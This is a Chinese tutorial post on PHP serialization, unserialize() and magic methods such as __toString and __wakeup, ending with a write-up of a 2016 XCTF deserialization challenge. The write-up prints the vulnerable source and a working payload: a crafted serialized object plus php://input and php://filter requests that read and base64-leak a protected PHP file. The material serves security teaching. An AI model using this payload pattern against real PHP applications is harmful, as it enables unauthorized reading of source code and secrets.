前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >听说,这个是CTF中最重要的问题······

听说,这个是CTF中最重要的问题······

作者头像
漏斗社区
发布2018-03-28 15:04:17
9510
发布2018-03-28 15:04:17
举报
文章被收录于专栏:漏斗社区漏斗社区

0x00 序列化和反序列化

简单的理解:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 序列化的对象可以是class也可以是Array,string等其他对象。

0x01 对象序列化和反序列化的功能作用

1. 对象序列化的功能作用

概念:对象是在内存中存储的数据类型,寿命通常随着生成该对象的程序的终止而终止,但是有些情况下需要将对象的状态保存下来,然后在需要使用的时候将对象恢复,对象状态的保存操作就是对象序列化的过程。对象序列化就是将对象转化为2进制字符串进行保存。 作用:将对象的状态通过数值和字符记录下来,以某种存储形式使自定义对象持久化,方便需要时候将对象进行恢复使用,用于对象的传递以及使程序代码更具维护性 。 语法:在创建对象class后使用serialize()函数将声明的对象的某个状态转化为字符串然后进行保存或传递。

示例代码: class serialize code:

代码语言:javascript
复制
1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9.private $name = 'Thinking';
10.private $sex = 'man';
11.
12.function say($name,$sex){
13.echo 'My name is'.$name.'I am a '.$sex;
14.}
15.
16.}
17.$Person = new Person;
18.echo serialize($Person);
19.$saveData = serialize($Person);//序列化后的字符串,可以保存在数据库中或者文本文件中等。
20.echo "\n".'save data is: '.$saveData;
21.?>

output: O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";} save data is: O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}

array serialize code:

代码语言:javascript
复制
1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.$Person = array('name' => 'Thinking' ,'sex' => 'man');
9.echo serialize($Person);
10.$saveData = serialize($Person);//序列化后的字符串,可以保存在数据库中或者文本文件中等。
11.echo "\n".'save data is: '.$saveData;
12.?>

output: a:2:{s:4:"name";s:8:"Thinking";s:3:"sex";s:3:"man";} save data is: a:2:{s:4:"name";s:8:"Thinking";s:3:"sex";s:3:"man";}

序列化后对象的格式:

引用上述示例代码中的输出结果 。 output: O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";} a:2:{s:4:"name";s:8:"Thinking";s:3:"sex";s:3:"man";}

对象类型:对象名长度:“对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:“变量名2”; 参数2类型:参数2长度:参数2;… …}

对象类型:Class:用O表示,Array:用a表示。 变量和参数类型:string:用s表示,Int:用i表示,Array:用a表示。 序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。

2. 对象反序列化的功能作用

概念:将存储好的或者进行传递的序列化后的字符串转化为对象,然后在用于对象的操作,是序列化的逆过程 。

作用:把序列化后的字符串转化为对象,恢复原本对象后用于程序或代码的各种操作。 语法:使用unserialize()将序列化后的字符串转化为对象进行使用。

示例代码: unserialize code:

代码语言:javascript
复制
1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.$saveData = 'O:6:"Person":2:{s:12:" Person name";s:8:"Thinking";s:11:" Person sex";s:3:"man";}';
9.var_dump(unserialize($saveData));
10.?>

output:

代码语言:javascript
复制
1.class __PHP_Incomplete_Class#1 (3) {
2.public $__PHP_Incomplete_Class_Name =>
3.string(6) "Person"
4.public $ Person name =>
5.string(8) "Thinking"
6.public $ Person sex =>
7.string(3) "man"
8.}
9.

0x02 反序列化存在的问题

问题原因:漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

魔术方法:PHP的类中可能会包含一些特殊的函数叫魔术函数,魔术函数命名是以符号__开头的; 有以下的魔术方法: __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set(), _state(), __clone(), __debugInfo() ...

反序列化漏洞中常见到有一些魔术方法: __construct():在对象创建时自动被调用; __destruct():在脚本运行结束时自动被调用;__sleep():在对象序列化的时候自动被调用;__wakeup():在反序列化为对象时自动被调用;__toString(): 直接输出对象引用时自动被调用;

0x03 魔术方法的触发

(1)构造方法__construct()

构造方法是类中的一个特殊方法。当使用 new 操作符创建一个类的实例时,构造方法将会自动调用,其名称必须是 __construct()。在一个类中只能声明一个构造方法,而是只有在每次创建对象的时候都会去调用一次构造方法,不能主动的调用这个方法,所以通常用它执行一些有用的初始化任务。该方法无返回值。 语法: function __construct(arg1,arg2,…) { …… }

[example]:__construct() code:

代码语言:javascript
复制
1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9.private $name = 'Thinking';
10.private $sex = 'man';
11.
12.function say($name,$sex){
13.echo 'My name is'.$name.'I am a '.$sex;
14.}
15.function __construct(){
16.echo ' __construct is work';
17.}
18.}
19.$Person = new Person;//创建的时候触发魔术方法
20.?>

output: __construct is work

(2)析构方法__destruct()

允许在销毁一个类之前执行执行析构方法,与构造方法对应的就是析构方法,析构方法允许在销毁一个类之前执行的一些操作或完成一些功能,比如说关闭文件、释放结果集,程序运行结束等。析构函数不能带有任何参数,其名称必须是 __destruct()。 语法: function __destruct() { …… }

[example]:__destructcode:

代码语言:javascript
复制
1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9. private $name = 'Thinking';
10. private $sex = 'man';
11.
12. function __destruct(){
13. echo '__destruct is work'. "\n";
14.    }
15.
16.}
17.
18.$Person = new Person;
19.sleep(5);//代码程序运行结束后或被释放时候触发
20.?>

output: 先延迟5s,等待代码执行结束 ,再打印 __destruct is work。

(3)__sleep()和_wakeup()方法

__sleep()是在一个类的实例被序列化了的时候调用,_wakeup()是在反序列化时被调用。__sleep()必须返回一个数组或者对象,而一般返回的是当前对象$this。返回的值将会被用来做序列化的值。如果不返回这个值,自然表示序列化失败。同时也会连累到反序列化时不会调用__wakeup()方法。

[example]:__sleep()``__wakeup()code:

代码语言:javascript
复制
1.<?php
2./**
3.* Created by PhpStorm.
4.* User: Thinking
5.* Date: 2017/10/18
6.* Time: 11:25
7.*/
8.class Person{
9. function __sleep(){
10. echo '__sleep is work'. "\n";
11. return $this;
12.    }
13.
14. function __wakeup(){
15.
16. echo '__wakeup is work';
17.
18.    }
19.}
20.
21.$Person = new Person;
22.$saveData  = serialize($Person);//序列化时候触发__sleep()
23.unserialize($saveData);//反序列化时候触发__wakeup()
24.?>

output: __sleep is work __wakeup is work

(4)__toString()方法

如果我们想打印出一个对象,就需要调用__toString()这个魔术方法了,该方法会在直接输出对象引用时自动被调用,此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误 。

参考:http://php.net/__toString

[example]:__toString()code:

代码语言:javascript
复制
1.<?php
2./**
3. * Created by PhpStorm.
4. * User: Thinking
5. * Date: 2017/10/18
6. * Time: 11:25
7. */
8.class Person{
9. private $name = 'Thinking';
10. private $sex = 'man';
11.
12. function say($name,$sex){
13. echo 'My name is'.$name.'I am a '.$sex;
14.    }
15. function __toString(){
16. return '__toString is work';
17.    }
18.}
19.$Person = new Person;
20.echo $Person; //输出对象的时候被调用
21.?>

output: __toString is work

其他方法的介绍参考: http://www.5idev.com/p-php_member_overloading.shtml http://php.net/__toString

0x04 一道CTF中反序列化例题

2016xctf的反序列化题目 index.php的源码:

代码语言:javascript
复制
1.<?php 
2.$user = $_GET["user"];  
3.$file = $_GET["file"];  
4.$pass = $_GET["pass"];  
5.
6.if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){  
7. echo "hello admin!<br>";  
8. if(preg_match("/f1a9/",$file)){  
9. exit();  
10.    }else{  
11. include($file); //class.php  
12.        $pass = unserialize($pass);  
13. echo $pass;  
14.    }  
15.}else{  
16. echo "you are not admin ! ";  
17.}  
18.
19.?> 
20.
21.<!--  
22.$user = $_GET["user"];  
23.$file = $_GET["file"];  
24.$pass = $_GET["pass"];  
25.
26.if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){  
27. echo "hello admin!<br>";  
28. include($file); //class.php  
29.}else{  
30. echo "you are not admin ! ";  
31.} echo "you are not admin ! ";
32.}
33.-->

class.php的源码:

代码语言:javascript
复制
1.<?php 
2.class Read{//f1a9.php  
3. public $file;  
4. public function __toString(){  
5. if(isset($this->file)){  
6. echo file_get_contents($this->file);      
7.        }  
8. return "__toString was called!";  
9.    }  
10.}  
11.?> 

源码分析: 首先index.php源码中的第6行使用file_get_contents读取user参数的值,然后在源码的第6,11行存在文件包含,第12行 unserialize($pass)反序列化函数的参数可控,在第13行执行了 echo $pass; 在class.php源码中使用了__toString()魔术方法,然后return "__toString was called!";,所以根据本篇的上半部分介绍此处满足__toString()魔术方法触发条件,所以存在反序列化漏洞,其中第6行file_get_contents是用来读取$file变量的文件的,并且给出了提示,//f1a9.php; 所以本题的考点就是利用文件包含使用php://input的封装协议传入user参数的值,满足index.php源码中的第6行的条件,在pass参数中传入序列化后要读取的flag文件。

最终PAYLOAD: 首先构造序列化的字符串O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}然后进行如下请求。 GET DATA :?user=php://input&file=class.php&pass=O:4:”Read”:1:{s:4:”file”;s:57:”php://filter/read=convert.base64-encode/resource=f1a9.php”;} POST DATA:the user is admin

先进行上面的请求,然后得到经过base64编码过的f1a9.php源码。

使用hackbar上的base64解码插件进行解码,得到flag,本地复现flag与原题不一样。

0x05 小总结

本篇仅进行了部分魔术方法的总结,还有一些魔术方法后续将逐步补充,例题仅收集了1道,小伙伴们有其他例题也可提出,小编将在后续篇章继续总结。从ctf题目中体会反序列化漏洞的形成原因和利用方法是个不错的方式,期待大家的多多交流。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-10-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏斗社区 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档